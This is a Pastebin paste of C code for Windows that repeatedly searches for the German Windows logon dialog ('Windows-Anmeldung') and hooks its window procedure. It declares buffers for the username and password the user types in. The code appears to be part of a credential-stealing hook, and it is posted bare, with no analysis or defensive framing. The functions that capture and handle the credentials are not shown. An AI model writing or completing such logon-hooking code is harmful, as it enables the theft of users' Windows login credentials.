Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "funcs.h"
- INT childCount;
- WNDPROC oWndProc;
- HWND hWndLogon;
- HWND hWndUsername;
- HWND hWndPassword;
- TCHAR buttonText[256];
- TCHAR usernameText[512];
- TCHAR passwordText[512];
- BOOL CALLBACK ChildControl(HWND hWnd, LPARAM lparam);
- LRESULT WINAPI newWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
- VOID ResetVars()
- {
- oWndProc = 0;
- childCount = 0;
- hWndLogon = NULL;
- hWndUsername = 0;
- hWndPassword = 0;
- }
- VOID BeginWindowHook()
- {
- ResetVars();
- while(true) {
- if(hWndLogon == NULL) {
- hWndLogon = FindWindow(NULL, "Windows-Anmeldung");
- if (hWndLogon != NULL) {
- OutputDebugStringf("hWndLogon found! HWND: %d\n", hWndLogon);
- HookWindow(hWndLogon);
- } else {
- OutputDebugStringf("hWndLogon not found!\n");
- Sleep(10);
- }
- } else {
- Sleep(10);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement